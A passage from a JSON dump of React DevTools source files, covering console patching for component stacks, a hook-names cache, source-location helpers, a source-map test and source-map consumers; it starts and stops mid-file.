consoleMethodsToOverrideForErrorsAndWarnings = [\n      'error',\n      'trace',\n      'warn',\n    ];\n\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const method of consoleMethodsToOverrideForErrorsAndWarnings) {\n      const originalMethod = targetConsole[method];\n      const overrideMethod: (...args: Array<any>) => void = (...args) => {\n        const settings = hook.settings;\n        // Something unexpected happened, fallback to just printing the console message.\n        if (settings == null) {\n          originalMethod(...args);\n          return;\n        }\n\n        if (\n          isRunningDuringStrictModeInvocation &&\n          settings.hideConsoleLogsInStrictMode\n        ) {\n          return;\n        }\n\n        let injectedComponentStackAsFakeError = false;\n        let alreadyHasComponentStack = false;\n        if (settings.appendComponentStack) {\n          const lastArg = args.length > 0 ? args[args.length - 1] : null;\n          alreadyHasComponentStack =\n            typeof lastArg === 'string' && isStringComponentStack(lastArg); // The last argument should be a component stack.\n        }\n\n        const shouldShowInlineWarningsAndErrors =\n          settings.showInlineWarningsAndErrors &&\n          (method === 'error' || method === 'warn');\n\n        // Search for the first renderer that has a current Fiber.\n        // We don't handle the edge case of stacks for more than one (e.g. interleaved renderers?)\n        // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n        for (const rendererInterface of hook.rendererInterfaces.values()) {\n          const {onErrorOrWarning, getComponentStack} = rendererInterface;\n          try {\n            if (shouldShowInlineWarningsAndErrors) {\n              // patch() is called by two places: (1) the hook and (2) the renderer backend.\n              // The backend is what implements a message queue, so it's the only one that injects onErrorOrWarning.\n              if (onErrorOrWarning != null) {\n                onErrorOrWarning(\n                  ((method: any): 'error' | 'warn'),\n                  args.slice(),\n                );\n              }\n            }\n          } catch (error) {\n            // Don't let a DevTools or React internal error interfere with logging.\n            setTimeout(() => {\n              throw error;\n            }, 0);\n          }\n\n          try {\n            if (settings.appendComponentStack && getComponentStack != null) {\n              // This needs to be directly in the wrapper so we can pop exactly one frame.\n              const topFrame = Error('react-stack-top-frame');\n              const match = getComponentStack(topFrame);\n              if (match !== null) {\n                const {enableOwnerStacks, componentStack} = match;\n                // Empty string means we have a match but no component stack.\n                // We don't need to look in other renderers but we also don't add anything.\n                if (componentStack !== '') {\n                  // Create a fake Error so that when we print it we get native source maps. Every\n                  // browser will print the .stack property of the error and then parse it back for source\n                  // mapping. Rather than print the internal slot. So it doesn't matter that the internal\n                  // slot doesn't line up.\n                  const fakeError = new Error('');\n                  // In Chromium, only the stack property is printed but in Firefox the <name>:<message>\n                  // gets printed so to make the colon make sense, we name it so we print Stack:\n                  // and similarly Safari leave an expandable slot.\n                  if (__IS_CHROME__ || __IS_EDGE__) {\n                    // Before sending the stack to Chrome DevTools for formatting,\n                    // V8 will reconstruct this according to the template <name>: <message><stack-frames>\n                    // https://source.chromium.org/chromium/chromium/src/+/main:v8/src/inspector/value-mirror.cc;l=252-311;drc=bdc48d1b1312cc40c00282efb1c9c5f41dcdca9a\n                    // It has to start with ^[\\w.]*Error\\b to trigger stack formatting.\n                    fakeError.name = enableOwnerStacks\n                      ? 'Error Stack'\n                      : 'Error Component Stack'; // This gets printed\n                  } else {\n                    fakeError.name = enableOwnerStacks\n                      ? 'Stack'\n                      : 'Component Stack'; // This gets printed\n                  }\n                  // In Chromium, the stack property needs to start with ^[\\w.]*Error\\b to trigger stack\n                  // formatting. Otherwise it is left alone. So we prefix it. Otherwise we just override it\n                  // to our own stack.\n                  fakeError.stack =\n                    __IS_CHROME__ || __IS_EDGE__ || __IS_NATIVE__\n                      ? (enableOwnerStacks\n                          ? 'Error Stack:'\n                          : 'Error Component Stack:') + componentStack\n                      : componentStack;\n\n                  if (alreadyHasComponentStack) {\n                    // Only modify the component stack if it matches what we would've added anyway.\n                    // Otherwise we assume it was a non-React stack.\n                    if (\n                      areStackTracesEqual(args[args.length - 1], componentStack)\n                    ) {\n                      const firstArg = args[0];\n                      if (\n                        args.length > 1 &&\n                        typeof firstArg === 'string' &&\n                        firstArg.endsWith('%s')\n                      ) {\n                        args[0] = firstArg.slice(0, firstArg.length - 2); // Strip the %s param\n                      }\n                      args[args.length - 1] = fakeError;\n                      injectedComponentStackAsFakeError = true;\n                    }\n                  } else {\n                    args.push(fakeError);\n                    injectedComponentStackAsFakeError = true;\n                  }\n                }\n\n                // Don't add stacks from other renderers.\n                break;\n              }\n            }\n          } catch (error) {\n            // Don't let a DevTools or React internal error interfere with logging.\n            setTimeout(() => {\n              throw error;\n            }, 0);\n          }\n        }\n\n        if (settings.breakOnConsoleErrors) {\n          // --- Welcome to debugging with React DevTools ---\n          // This debugger statement means that you've enabled the \"break on warnings\" feature.\n          // Use the browser's Call Stack panel to step out of this override function\n          // to where the original warning or error was logged.\n          // eslint-disable-next-line no-debugger\n          debugger;\n        }\n\n        if (\n          isRunningDuringStrictModeInvocation &&\n          !settings.disableSecondConsoleLogDimmingInStrictMode\n        ) {\n          // Dim the text color of the double logs if we're not hiding them.\n          // Firefox doesn't support ANSI escape sequences\n          if (__IS_FIREFOX__) {\n            let argsWithCSSStyles = formatWithStyles(\n              args,\n              FIREFOX_CONSOLE_DIMMING_COLOR,\n            );\n\n            if (injectedComponentStackAsFakeError) {\n              argsWithCSSStyles = [\n                `${argsWithCSSStyles[0]} %o`,\n                ...argsWithCSSStyles.slice(1),\n              ];\n            }\n\n            originalMethod(...argsWithCSSStyles);\n          } else {\n            originalMethod(\n              injectedComponentStackAsFakeError\n                ? ANSI_STYLE_DIMMING_TEMPLATE_WITH_COMPONENT_STACK\n                : ANSI_STYLE_DIMMING_TEMPLATE,\n              ...formatConsoleArguments(...args),\n            );\n          }\n        } else {\n          originalMethod(...args);\n        }\n      };\n\n      targetConsole[method] = overrideMethod;\n    }\n  }\n\n  // TODO: More meaningful names for \"rendererInterfaces\" and \"renderers\".\n  const fiberRoots: {[RendererID]: Set<mixed>} = {};\n  const rendererInterfaces = new Map<RendererID, RendererInterface>();\n  const listeners: {[string]: Array<Handler>} = {};\n  const renderers = new Map<RendererID, ReactRenderer>();\n  const backends = new Map<string, DevToolsBackend>();\n\n  const hook: DevToolsHook = {\n    rendererInterfaces,\n    listeners,\n\n    backends,\n\n    // Fast Refresh for web relies on this.\n    renderers,\n    hasUnsupportedRendererAttached: false,\n\n    emit,\n    getFiberRoots,\n    inject,\n    on,\n    off,\n    sub,\n\n    // This is a legacy flag.\n    // React v16 checks the hook for this to ensure DevTools is new enough.\n    supportsFiber: true,\n\n    // React Flight Client checks the hook for this to ensure DevTools is new enough.\n    supportsFlight: true,\n\n    // React calls these methods.\n    checkDCE,\n    onCommitFiberUnmount,\n    onCommitFiberRoot,\n    // React v18.0+\n    onPostCommitFiberRoot,\n    setStrictMode,\n\n    // Schedule Profiler runtime helpers.\n    // These internal React modules to report their own boundaries\n    // which in turn enables the profiler to dim or filter internal frames.\n    getInternalModuleRanges,\n    registerInternalModuleStart,\n    registerInternalModuleStop,\n  };\n\n  if (maybeSettingsOrSettingsPromise == null) {\n    // Set default settings\n    hook.settings = {\n      appendComponentStack: true,\n      breakOnConsoleErrors: false,\n      showInlineWarningsAndErrors: true,\n      hideConsoleLogsInStrictMode: false,\n      disableSecondConsoleLogDimmingInStrictMode: false,\n    };\n    patchConsoleForErrorsAndWarnings();\n  } else {\n    Promise.resolve(maybeSettingsOrSettingsPromise)\n      .then(settings => {\n        hook.settings = settings;\n        hook.emit('settingsInitialized', settings);\n\n        patchConsoleForErrorsAndWarnings();\n      })\n      .catch(() => {\n        targetConsole.error(\n          \"React DevTools failed to get Console Patching settings. Console won't be patched and some console features will not work.\",\n        );\n      });\n  }\n\n  Object.defineProperty(\n    target,\n    '__REACT_DEVTOOLS_GLOBAL_HOOK__',\n    ({\n      // This property needs to be configurable for the test environment,\n      // else we won't be able to delete and recreate it between tests.\n      configurable: __DEV__,\n      enumerable: false,\n      get() {\n        return hook;\n      },\n    }: Object),\n  );\n\n  return hook;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hookNamesCache.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {__DEBUG__} from 'react-devtools-shared/src/constants';\n\nimport type {HooksTree} from 'react-debug-tools/src/ReactDebugHooks';\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\nimport type {\n  Element,\n  HookNames,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';\n\nimport * as React from 'react';\n\nimport {withCallbackPerfMeasurements} from './PerformanceLoggingUtils';\nimport {logEvent} from './Logger';\n\nconst TIMEOUT = 30000;\nfunction readRecord<T>(record: Thenable<T>): T | null {\n  if (typeof React.use === 'function') {\n    try {\n      // eslint-disable-next-line react-hooks-published/rules-of-hooks\n      return React.use(record);\n    } catch (x) {\n      if (record.status === 'rejected') {\n        return null;\n      }\n      throw x;\n    }\n  }\n  if (record.status === 'fulfilled') {\n    return record.value;\n  } else if (record.status === 'rejected') {\n    return null;\n  } else {\n    throw record;\n  }\n}\n\ntype LoadHookNamesFunction = (\n  hookLog: HooksTree,\n  fetchFileWithCaching: FetchFileWithCaching | null,\n) => Thenable<HookNames>;\n\n// This is intentionally a module-level Map, rather than a React-managed one.\n// Otherwise, refreshing the inspected element cache would also clear this cache.\n// TODO Rethink this if the React API constraints change.\n// See https://github.com/reactwg/react-18/discussions/25#discussioncomment-980435\nlet map: WeakMap<Element, Thenable<HookNames>> = new WeakMap();\n\nexport function hasAlreadyLoadedHookNames(element: Element): boolean {\n  const record = map.get(element);\n  return record != null && record.status === 'fulfilled';\n}\n\nexport function getAlreadyLoadedHookNames(element: Element): HookNames | null {\n  const record = map.get(element);\n  if (record != null && record.status === 'fulfilled') {\n    return record.value;\n  }\n  return null;\n}\n\nexport function loadHookNames(\n  element: Element,\n  hooksTree: HooksTree,\n  loadHookNamesFunction: LoadHookNamesFunction,\n  fetchFileWithCaching: FetchFileWithCaching | null,\n): HookNames | null {\n  let record = map.get(element);\n\n  if (__DEBUG__) {\n    console.groupCollapsed('loadHookNames() record:');\n    console.log(record);\n    console.groupEnd();\n  }\n\n  if (!record) {\n    const callbacks = new Set<(value: any) => mixed>();\n    const rejectCallbacks = new Set<(reason: mixed) => mixed>();\n    const thenable: Thenable<HookNames> = {\n      status: 'pending',\n      value: null,\n      reason: null,\n      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {\n        callbacks.add(callback);\n        rejectCallbacks.add(reject);\n      },\n\n      // Optional property used by Timeline:\n      displayName: `Loading hook names for ${element.displayName || 'Unknown'}`,\n    };\n\n    let timeoutID: $FlowFixMe | null;\n    let didTimeout = false;\n    let status: 'success' | 'error' | 'timeout' | 'unknown' = 'unknown';\n    let resolvedHookNames: HookNames | null = null;\n\n    const wake = () => {\n      if (timeoutID) {\n        clearTimeout(timeoutID);\n        timeoutID = null;\n      }\n\n      // This assumes they won't throw.\n      callbacks.forEach(callback => callback((thenable: any).value));\n      callbacks.clear();\n      rejectCallbacks.clear();\n    };\n    const wakeRejections = () => {\n      if (timeoutID) {\n        clearTimeout(timeoutID);\n        timeoutID = null;\n      }\n      // This assumes they won't throw.\n      rejectCallbacks.forEach(callback => callback((thenable: any).reason));\n      rejectCallbacks.clear();\n      callbacks.clear();\n    };\n\n    const handleLoadComplete = (durationMs: number): void => {\n      // Log duration for parsing hook names\n      logEvent({\n        event_name: 'load-hook-names',\n        event_status: status,\n        duration_ms: durationMs,\n        inspected_element_display_name: element.displayName,\n        inspected_element_number_of_hooks: resolvedHookNames?.size ?? null,\n      });\n    };\n\n    record = thenable;\n\n    withCallbackPerfMeasurements(\n      'loadHookNames',\n      done => {\n        loadHookNamesFunction(hooksTree, fetchFileWithCaching).then(\n          function onSuccess(hookNames) {\n            if (didTimeout) {\n              return;\n            }\n\n            if (__DEBUG__) {\n              console.log('[hookNamesCache] onSuccess() hookNames:', hookNames);\n            }\n\n            if (hookNames) {\n              const fulfilledThenable: FulfilledThenable<HookNames> =\n                (thenable: any);\n              fulfilledThenable.status = 'fulfilled';\n              fulfilledThenable.value = hookNames;\n              status = 'success';\n              resolvedHookNames = hookNames;\n              done();\n              wake();\n            } else {\n              const notFoundThenable: RejectedThenable<HookNames> =\n                (thenable: any);\n              notFoundThenable.status = 'rejected';\n              notFoundThenable.reason = null;\n              status = 'error';\n              resolvedHookNames = hookNames;\n              done();\n              wakeRejections();\n            }\n          },\n          function onError(error) {\n            if (didTimeout) {\n              return;\n            }\n\n            if (__DEBUG__) {\n              console.log('[hookNamesCache] onError()');\n            }\n\n            console.error(error);\n\n            const rejectedThenable: RejectedThenable<HookNames> =\n              (thenable: any);\n            rejectedThenable.status = 'rejected';\n            rejectedThenable.reason = null;\n\n            status = 'error';\n            done();\n            wakeRejections();\n          },\n        );\n\n        // Eventually timeout and stop trying to load names.\n        timeoutID = setTimeout(function onTimeout() {\n          if (__DEBUG__) {\n            console.log('[hookNamesCache] onTimeout()');\n          }\n\n          timeoutID = null;\n\n          didTimeout = true;\n\n          const timedoutThenable: RejectedThenable<HookNames> = (thenable: any);\n          timedoutThenable.status = 'rejected';\n          timedoutThenable.reason = null;\n\n          status = 'timeout';\n          done();\n          wakeRejections();\n        }, TIMEOUT);\n      },\n      handleLoadComplete,\n    );\n    map.set(element, record);\n  }\n\n  const response = readRecord(record);\n  return response;\n}\n\nexport function clearHookNamesCache(): void {\n  map = new WeakMap();\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hookSourceLocation.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {HookSourceLocationKey} from 'react-devtools-shared/src/frontend/types';\nimport type {HookSource} from 'react-debug-tools/src/ReactDebugHooks';\n\nexport function getHookSourceLocationKey({\n  fileName,\n  lineNumber,\n  columnNumber,\n}: HookSource): HookSourceLocationKey {\n  if (fileName == null || lineNumber == null || columnNumber == null) {\n    throw Error('Hook source code location not found.');\n  }\n  return `${fileName}:${lineNumber}:${columnNumber}`;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/ErrorTester.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ErrorStackParser from 'error-stack-parser';\nimport testErrorStack, {\n  SOURCE_STACK_FRAME_LINE_NUMBER,\n} from './ErrorTesterCompiled';\n\nlet sourceMapsAreAppliedToErrors: boolean | null = null;\n\n// Source maps are automatically applied to Error stack frames.\nexport function areSourceMapsAppliedToErrors(): boolean {\n  if (sourceMapsAreAppliedToErrors === null) {\n    try {\n      testErrorStack();\n      sourceMapsAreAppliedToErrors = false;\n    } catch (error) {\n      const parsed = ErrorStackParser.parse(error);\n      const topStackFrame = parsed[0];\n      const lineNumber = topStackFrame.lineNumber;\n      if (lineNumber === SOURCE_STACK_FRAME_LINE_NUMBER) {\n        sourceMapsAreAppliedToErrors = true;\n      }\n    }\n  }\n\n  return sourceMapsAreAppliedToErrors === true;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/ErrorTesterCompiled.js",
    "content": "'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true,\n});\nexports.default = testErrorStack;\nexports.SOURCE_STACK_FRAME_LINE_NUMBER = void 0;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nfunction testErrorStack() {\n  // If source maps are applied, this Error will have a stack frame with line 12.\n  throw Error('Test Error stack');\n}\n\nconst SOURCE_STACK_FRAME_LINE_NUMBER = 12;\nexports.SOURCE_STACK_FRAME_LINE_NUMBER = SOURCE_STACK_FRAME_LINE_NUMBER;\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInRlc3RFcm9yclN0YWNrLmpzIl0sIm5hbWVzIjpbInRlc3RFcm9yclN0YWNrIiwiRXJyb3IiLCJTT1VSQ0VfU1RBQ0tfRlJBTUVfTElORV9OVU1CRVIiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7O0FBQUE7Ozs7Ozs7O0FBU2UsU0FBU0EsY0FBVCxHQUEwQjtBQUN2QztBQUNBLFFBQU1DLEtBQUssQ0FBQyxrQkFBRCxDQUFYO0FBQ0Q7O0FBRU0sTUFBTUMsOEJBQThCLEdBQUcsRUFBdkMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdGVzdEVyb3JyU3RhY2soKSB7XG4gIC8vIElmIHNvdXJjZSBtYXBzIGFyZSBhcHBsaWVkLCB0aGlzIEVycm9yIHdpbGwgaGF2ZSBhIHN0YWNrIGZyYW1lIHdpdGggbGluZSAxMi5cbiAgdGhyb3cgRXJyb3IoJ1Rlc3QgRXJyb3Igc3RhY2snKTtcbn1cblxuZXhwb3J0IGNvbnN0IFNPVVJDRV9TVEFDS19GUkFNRV9MSU5FX05VTUJFUiA9IDEyOyJdfQ==\n//# sourceURL=testErrorStack.js\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/SourceMapConsumer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport {withSyncPerfMeasurements} from 'react-devtools-shared/src/PerformanceLoggingUtils';\nimport {decode} from '@jridgewell/sourcemap-codec';\n\nimport type {\n  IndexSourceMap,\n  IndexSourceMapSection,\n  BasicSourceMap,\n  MixedSourceMap,\n} from './SourceMapTypes';\n\ntype SearchPosition = {\n  columnNumber: number,\n  lineNumber: number,\n};\n\ntype ResultPosition = {\n  column: number,\n  line: number,\n  sourceContent: string | null,\n  sourceURL: string | null,\n  ignored: boolean,\n};\n\nexport type SourceMapConsumerType = {\n  originalPositionFor: SearchPosition => ResultPosition,\n};\n\ntype Mappings = Array<Array<Array<number>>>;\n\nexport default function SourceMapConsumer(\n  sourceMapJSON: MixedSourceMap | IndexSourceMapSection,\n): SourceMapConsumerType {\n  if (sourceMapJSON.sections != null) {\n    return IndexedSourceMapConsumer(((sourceMapJSON: any): IndexSourceMap));\n  } else {\n    return BasicSourceMapConsumer(((sourceMapJSON: any): BasicSourceMap));\n  }\n}\n\nfunction BasicSourceMapConsumer(sourceMapJSON: BasicSourceMap) {\n  const decodedMappings: Mappings = withSyncPerfMeasurements(\n    'Decoding source map mappings with @jridgewell/sourcemap-codec',\n    () => decode(sourceMapJSON.mappings),\n  );\n\n  function originalPositionFor({\n    columnNumber,\n    lineNumber,\n  }: SearchPosition): ResultPosition {\n    // Error.prototype.stack columns are 1-based (like most IDEs) but ASTs are 0-based.\n    const targetColumnNumber = columnNumber - 1;\n\n    const lineMappings = decodedMappings[lineNumber - 1];\n\n    let nearestEntry = null;\n\n    let startIndex = 0;\n    let stopIndex = lineMappings.length - 1;\n    let index = -1;\n    while (startIndex <= stopIndex) {\n      index = Math.floor((stopIndex + startIndex) / 2);\n      nearestEntry = lineMappings[index];\n\n      const currentColumn = nearestEntry[0];\n      if (currentColumn === targetColumnNumber) {\n        break;\n      } else {\n        if (currentColumn > targetColumnNumber) {\n          if (stopIndex - index > 0) {\n            stopIndex = index;\n          } else {\n            index = stopIndex;\n            break;\n          }\n        } else {\n          if (index - startIndex > 0) {\n            startIndex = index;\n          } else {\n            index = startIndex;\n            break;\n          }\n        }\n      }\n    }\n\n    // We have found either the exact element, or the next-closest element.\n    // However there may be more than one such element.\n    // Make sure we always return the smallest of these.\n    while (index > 0) {\n      const previousEntry = lineMappings[index - 1];\n      const currentColumn = previousEntry[0];\n      if (currentColumn !== targetColumnNumber) {\n        break;\n      }\n      index--;\n    }\n\n    if (nearestEntry == null) {\n      // TODO maybe fall back to the runtime source instead of throwing?\n      throw Error(\n        `Could not find runtime location for line:${lineNumber} and column:${columnNumber}`,\n      );\n    }\n\n    const sourceIndex = nearestEntry[1];\n    const sourceContent =\n      sourceMapJSON.sourcesContent != null\n        ? sourceMapJSON.sourcesContent[sourceIndex]\n        : null;\n    const sourceURL = sourceMapJSON.sources[sourceIndex] ?? null;\n    const line = nearestEntry[2] + 1;\n    const column = nearestEntry[3];\n    const ignored =\n      sourceMapJSON.ignoreList != null &&\n      sourceMapJSON.ignoreList.includes(sourceIndex);\n    return {\n      column,\n      line,\n      sourceContent: ((sourceContent: any): string | null),\n      sourceURL: ((sourceURL: any): string | null),\n      ignored,\n    };\n  }\n\n  return (({\n    originalPositionFor,\n  }: any): SourceMapConsumerType);\n}\n\ntype Section = {\n  +offsetColumn0: number,\n  +offsetLine0: number,\n  +map: BasicSourceMap,\n\n  // Lazily parsed only when/as the section is needed.\n  sourceMapConsumer: SourceMapConsumerType | null,\n};\n\nfunction IndexedSourceMapConsumer(sourceMapJSON: IndexSourceMap) {\n  let lastOffset: {\n    line: number,\n    column: number,\n    ...\n  } = {\n    line: -1,\n    column: 0,\n  };\n\n  const sections: Array<Section> = sourceMapJSON.sections.map(section => {\n    const offset: {\n      line: number,\n      column: number,\n      ...\n    } = section.offset;\n    const offsetLine0 = offset.line;\n    const offsetColumn0 = offset.column;\n\n    if (\n      offsetLine0 < lastOffset.line ||\n      (offsetLine0 === lastOffset.line && offsetColumn0 < lastOffset.column)\n    ) {\n      throw new Error('Section offsets must be ordered and non-overlapping.');\n    }\n\n    lastOffset = offset;\n\n    return {\n      offsetLine0,\n      offsetColumn0,\n      map: section.map,\n      sourceMapConsumer: null,\n    };\n  });\n\n  function originalPositionFor({\n    columnNumber,\n    lineNumber,\n  }: SearchPosition): ResultPosition {\n    // Error.prototype.stack columns are 1-based (like most IDEs) but ASTs are 0-based.\n    const column0 = columnNumber - 1;\n    const line0 = lineNumber - 1;\n\n    // Sections must not overlap and must be sorted: https://tc39.es/source-map/#section-object\n    // Therefore the last section that has an offset less than or equal to the frame is the applicable one.\n    let left = 0;\n    let right = sections.length - 1;\n    let section: Section | null = null;\n\n    while (left <= right) {\n      // fast Math.floor\n      const middle = ~~((left + right) / 2);\n      const currentSection = sections[middle];\n\n      if (\n        currentSection.offsetLine0 < line0 ||\n        (currentSection.offsetLine0 === line0 &&\n          currentSection.offsetColumn0 <= column0)\n      ) {\n        section = currentSection;\n        left = middle + 1;\n      } else {\n        right = middle - 1;\n      }\n    }\n\n    if (section == null) {\n      // TODO maybe fall back to the runtime source instead of throwing?\n      throw Error(\n        `Could not find matching section for line:${lineNumber} and column:${columnNumber}`,\n      );\n    }\n\n    if (section.sourceMapConsumer === null) {\n      // Lazily parse the section only when it's needed.\n      // $FlowFixMe[invalid-constructor] Flow no longer supports calling new on functions\n      section.sourceMapConsumer = new SourceMapConsumer(section.map);\n    }\n\n    return section.sourceMapConsumer.originalPositionFor({\n      // The mappings in a Source Map section are relative to the section offset.\n      columnNumber: columnNumber - section.offsetColumn0,\n      lineNumber: lineNumber - section.offsetLine0,\n    });\n  }\n\n  return (({\n    originalPositionFor,\n  }: any): SourceMapConsumerType);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/SourceMapMetadataConsumer.js",
    "content": "/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\nimport type {Position} from './astUtils';\nimport type {\n  ReactSourceMetadata,\n  IndexSourceMap,\n  BasicSourceMap,\n  MixedSourceMap,\n} from './SourceMapTypes';\nimport type {HookMap} from './generateHookMap';\nimport * as util from 'source-map-js/lib/util';\nimport {decodeHookMap} from './generateHookMap';\nimport {getHookNameForLocation} from './getHookNameForLocation';\n\ntype MetadataMap = Map<string, ?ReactSourceMetadata>;\n\nconst HOOK_MAP_INDEX_IN_REACT_METADATA = 0;\nconst REACT_METADATA_INDEX_IN_FB_METADATA = 1;\nconst REACT_SOURCES_EXTENSION_KEY = 'x_react_sources';\nconst FB_SOURCES_EXTENSION_KEY = 'x_facebook_sources';\n\n/**\n * Extracted from the logic in source-map-js@0.6.2's SourceMapConsumer.\n * By default, source names are normalized using the same logic that the `source-map-js@0.6.2` package uses internally.\n * This is crucial for keeping the sources list in sync with a `SourceMapConsumer` instance.\n */\nfunction normalizeSourcePath(\n  sourceInput: string,\n  map: {+sourceRoot?: ?string, ...},\n): string {\n  const {sourceRoot} = map;\n  let source = sourceInput;\n\n  source = String(source);\n  // Some source maps produce relative source paths like \"./foo.js\" instead of\n  // \"foo.js\".  Normalize these first so that future comparisons will succeed.\n  // See bugzil.la/1090768.\n  source = util.normalize(source);\n  // Always ensure that absolute sources are internally stored relative to\n  // the source root, if the source root is absolute. Not doing this would\n  // be particularly problematic when the source root is a prefix of the\n  // source (valid, but why??). See github issue #199 and bugzil.la/1188982.\n  source =\n    sourceRoot != null && util.isAbsolute(sourceRoot) && util.isAbsolute(source)\n      ? util.relative(sourceRoot, source)\n      : source;\n  return util.computeSourceURL(sourceRoot, source);\n}\n\n/**\n * Consumes the `x_react_sources` or  `x_facebook_sources` metadata field from a\n * source map and exposes ways to query the React DevTools specific metadata\n * included in those fields.\n */\nexport class SourceMapMetadataConsumer {\n  _sourceMap: MixedSourceMap;\n  _decodedHookMapCache: Map<string, HookMap>;\n  _metadataBySource: ?MetadataMap;\n\n  constructor(sourcemap: MixedSourceMap) {\n    this._sourceMap = sourcemap;\n    this._decodedHookMapCache = new Map();\n    this._metadataBySource = null;\n  }\n\n  /**\n   * Returns the Hook name assigned to a given location in the source code,\n   * and a HookMap extracted from an extended source map.\n   * See `getHookNameForLocation` for more details on implementation.\n   *\n   * When used with the `source-map` package, you'll first use\n   * `SourceMapConsumer#originalPositionFor` to retrieve a source location,\n   * then pass that location to `hookNameFor`.\n   */\n  hookNameFor({\n    line,\n    column,\n    source,\n  }: {\n    ...Position,\n    +source: ?string,\n  }): ?string {\n    if (source == null) {\n      return null;\n    }\n\n    const hookMap = this._getHookMapForSource(source);\n    if (hookMap == null) {\n      return null;\n    }\n\n    return getHookNameForLocation({line, column}, hookMap);\n  }\n\n  hasHookMap(source: ?string): boolean {\n    if (source == null) {\n      return false;\n    }\n    return this._getHookMapForSource(source) != null;\n  }\n\n  /**\n   * Prepares and caches a lookup table of metadata by source name.\n   */\n  _getMetadataBySource(): MetadataMap {\n    if (this._metadataBySource == null) {\n      this._metadataBySource = this._getMetadataObjectsBySourceNames(\n        this._sourceMap,\n      );\n    }\n\n    return this._metadataBySource;\n  }\n\n  /**\n   * Collects source metadata from the given map using the current source name\n   * normalization function. Handles both index maps (with sections) and plain\n   * maps.\n   *\n   * NOTE: If any sources are repeated in the map (which shouldn't usually happen,\n   * but is technically possible because of index maps) we only keep the\n   * metadata from the last occurrence of any given source.\n   */\n  _getMetadataObjectsBySourceNames(sourcemap: MixedSourceMap): MetadataMap {\n    if (sourcemap.mappings === undefined) {\n      const indexSourceMap: IndexSourceMap = sourcemap;\n      const metadataMap = new Map<string, ?ReactSourceMetadata>();\n      indexSourceMap.sections.forEach(section => {\n        const metadataMapForIndexMap = this._getMetadataObjectsBySourceNames(\n          section.map,\n        );\n        metadataMapForIndexMap.forEach((value, key) => {\n          metadataMap.set(key, value);\n        });\n      });\n      return metadataMap;\n    }\n\n    const metadataMap: MetadataMap = new Map();\n    const basicMap: BasicSourceMap = sourcemap;\n    const updateMap = (metadata: ReactSourceMetadata, sourceIndex: number) => {\n      let source = basicMap.sources[sourceIndex];\n      if (source != null) {\n        source = normalizeSourcePath(source, basicMap);\n        metadataMap.set(source, metadata);\n      }\n    };\n\n    if (\n      sourcemap.hasOwnProperty(REACT_SOURCES_EXTENSION_KEY) &&\n      sourcemap[REACT_SOURCES_EXTENSION_KEY] != null\n    ) {\n      const reactMetadataArray = sourcemap[REACT_SOURCES_EXTENSION_KEY];\n      reactMetadataArray.filter(Boolean).forEach(updateMap);\n    } else if (\n      sourcemap.hasOwnProperty(FB_SOURCES_EXTENSION_KEY) &&\n      sourcemap[FB_SOURCES_EXTENSION_KEY] != null\n    ) {\n      const fbMetadataArray = sourcemap[FB_SOURCES_EXTENSION_KEY];\n      if (fbMetadataArray != null) {\n        fbMetadataArray.forEach((fbMetadata, sourceIndex) => {\n          // When extending source maps with React metadata using the\n          // x_facebook_sources field, the position at index 1 on the\n          // metadata tuple is reserved for React metadata\n          const reactMetadata =\n            fbMetadata != null\n              ? fbMetadata[REACT_METADATA_INDEX_IN_FB_METADATA]\n              : null;\n          if (reactMetadata != null) {\n            updateMap(reactMetadata, sourceIndex);\n          }\n        });\n      }\n    }\n\n    return metadataMap;\n  }\n\n  /**\n   * Decodes the function name mappings for the given source if needed, and\n   * retrieves a sorted, searchable array of mappings.\n   */\n  _getHookMapForSource(source: string): ?HookMap {\n    if (this._decodedHookMapCache.has(source)) {\n      return this._decodedHookMapCache.get(source);\n    }\n    let hookMap = null;\n    const metadataBySource = this._getMetadataBySource();\n    const normalized = 